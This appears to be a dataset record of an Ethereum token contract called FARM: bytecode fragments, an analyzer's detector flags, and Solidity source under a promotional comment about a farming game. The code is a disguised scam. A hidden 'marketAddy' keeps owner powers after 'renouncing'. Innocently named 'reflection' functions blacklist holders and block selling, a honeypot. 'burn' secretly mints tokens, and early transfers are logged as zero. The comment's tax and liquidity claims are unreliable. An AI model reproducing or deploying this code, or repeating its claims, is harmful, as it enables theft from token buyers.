8201905092915050565b60005b83811015612de9578082015181840152602081019050612dce565b83811115612df8576000848401525b50505050565b6000612e0982612daf565b612e138185612dba565b9350612e23818560208601612dcb565b612e2c81612bb4565b840191505092915050565b60006020820190508181036000830152612e518184612dfe565b905092915050565b6000819050919050565b612e6c81612e59565b8114612e7757600080fd5b50565b600081359050612e8981612e63565b92915050565b60008060408385031215612ea657612ea5612ba5565b5b6000612eb485828601612cba565b9250506020612ec585828601612e7a565b9150509250929050565b60008115159050919050565b612ee481612ecf565b82525050565b6000602082019050612eff6000830184612edb565b92915050565b6000819050919050565b6000612f2a612f25612f2084612c71565b612f05565b612c71565b9050919050565b6000612f3c82612f0f565b9050919050565b6000612f4e82612f31565b9050919050565b612f5e81612f43565b82525050565b6000602082019050612f796000830184612f55565b92915050565b612f8881612e59565b82525050565b6000602082019050612fa36000830184612f7f565b92915050565b600080600060608486031215612fc257612fc1612ba5565b5b6000612fd086828701612cba565b9350506020612fe186828701612cba565b9250506040612ff286828701612e7a565b9150509250925092565b600060ff82169050919050565b61301281612ffc565b82525050565b600060208201905061302d6000830184613009565b92915050565b61303c81612c91565b82525050565b60006020820190506130576000830184613033565b92915050565b60006020828403121561307357613072612ba5565b5b600061308184828501612cba565b91505092915050565b61309381612ecf565b811461309e57600080fd5b50565b6000813590506130b08161308a565b92915050565b6000602082840312156130cc576130cb612ba5565b5b60006130da848285016130a1565b91505092915050565b6000602082840312156130f9576130f8612ba5565b5b600061310784828501612e7a565b91505092915050565b6000806000806080858703121561312a57613129612ba5565b5b600061313887828801612e7a565b945050602061314987828801612e7a565b935050604061315a87828801612e7a565b925050606061316b87828801612e7a565b91505092959194509250565b600080fd5b60008083601f84011261319257613191612baf565b5b8235905067ffffffffffffffff8111156131af576131ae613177565b5b6020830191508360208202830111156131cb576131ca612c6c565b5b9250929050565b6000806000604084860312156131eb576131ea612ba5565b5b600084013567ffffffffffffffff81111561320957613208612baa565b5b6132158682870161317c565b93509350506020613228868287016130a1565b9150509250925092565b6000806040838503121561324957613248612ba5565b5b600061325785828601612cba565b925050602061326885828601612cba565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132a8602083612dba565b91506132b382613272565b602082019050919050565b600060208201905081810360008301526132d78161329b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334782612e59565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561337a5761337961330d565b5b600182019050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203160008201527f3425000000000000000000000000000000000000000000000000000000000000602082015250565b60006133e1602283612dba565b91506133ec82613385565b604082019050919050565b60006020820190508181036000830152613410816133d4565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3134250000000000000000000000000000000000000000000000000000000000602082015250565b6000613473602383612dba565b915061347e82613417565b604082019050919050565b600060208201905081810360008301526134a281613466565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613505602683612dba565b9150613510826134a9565b604082019050919050565b60006020820190508181036000830152613534816134f8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613597602483612dba565b91506135a28261353b565b604082019050919050565b600060208201905081810360008301526135c68161358a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613629602283612dba565b9150613634826135cd565b604082019050919050565b600060208201905081810360008301526136588161361c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136bb602583612dba565b91506136c68261365f565b604082019050919050565b600060208201905081810360008301526136ea816136ae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061374d602383612dba565b9150613758826136f1565b604082019050919050565b6000602082019050818103600083015261377c81613740565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137df602983612dba565b91506137ea82613783565b604082019050919050565b6000602082019050818103600083015261380e816137d2565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613871603f83612dba565b915061387c82613815565b604082019050919050565b600060208201905081810360008301526138a081613864565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006138dd601c83612dba565b91506138e8826138a7565b602082019050919050565b6000602082019050818103600083015261390c816138d0565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b600061396f602383612dba565b915061397a82613913565b604082019050919050565b6000602082019050818103600083015261399e81613962565b9050919050565b60006139b082612e59565b91506139bb83612e59565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139f0576139ef61330d565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613a57602383612dba565b9150613a62826139fb565b604082019050919050565b60006020820190508181036000830152613a8681613a4a565b9050919050565b6000613a9882612e59565b9150613aa383612e59565b925082821015613ab657613ab561330d565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613b1d602a83612dba565b9150613b2882613ac1565b604082019050919050565b60006020820190508181036000830152613b4c81613b10565b9050919050565b600081519050613b6281612ca3565b92915050565b600060208284031215613b7e57613b7d612ba5565b5b6000613b8c84828501613b53565b91505092915050565b6000819050919050565b6000613bba613bb5613bb084613b95565b612f05565b612e59565b9050919050565b613bca81613b9f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c0581612c91565b82525050565b6000613c178383613bfc565b60208301905092915050565b6000602082019050919050565b6000613c3b82613bd0565b613c458185613bdb565b9350613c5083613bec565b8060005b83811015613c81578151613c688882613c0b565b9750613c7383613c23565b925050600181019050613c54565b5085935050505092915050565b600060a082019050613ca36000830188612f7f565b613cb06020830187613bc1565b8181036040830152613cc28186613c30565b9050613cd16060830185613033565b613cde6080830184612f7f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2282612e59565b9150613d2d83612e59565b925082613d3d57613d3c613ce8565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d7e601b83612dba565b9150613d8982613d48565b602082019050919050565b60006020820190508181036000830152613dad81613d71565b9050919050565b6000613dbf82612e59565b9150613dca83612e59565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e0357613e0261330d565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e6a602183612dba565b9150613e7582613e0e565b604082019050919050565b60006020820190508181036000830152613e9981613e5d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220981222a2eac9c4a2113fc1bf01535501dc59c893ad745186703c4b8f0400cf7c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,290 |
0xa8a80066f108e7e21081c74f49ccb31a35800d40
|
/*
_.-^-._ .--.
.-' _ '-. |__|
/ |_| \| |
/ \ |
/| _____ |\ |
| |==|==| | |
|---|---|---|---|---| |--|--| | |
|---|---|---|---|---| |==|==| | |
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FARM is the official token for Baker Farms. You will be able to purchase plots of land as well as animal crates using FARM.
Baker Farms is a multiplayer builder game, introducing blockchain to millions of players. Anyone can buy and own virtual islands, collect and build exciting items and meet new friends.
Inspired by successful games such as Animal Crossing, the game combines the best of the two worlds - a fun narrative for regular players who want to enjoy the gameplay experience as well as an ecosystem for players who want to collect and trade NFT:s, even if they have no idea what an NFT is.
This project is well funded and imposes 0% Tax for buyers. Tax will be charged only when using FARMS to purchase NFTs.
Liquidity will be locked for 5 years via Team by TrustSwap. Check out our telegram and website to learn more!
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FARM is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "FARM";
string public _symbol= "FARM";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x915a36B9497ED881cfEea771569d37D15E3d3667);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002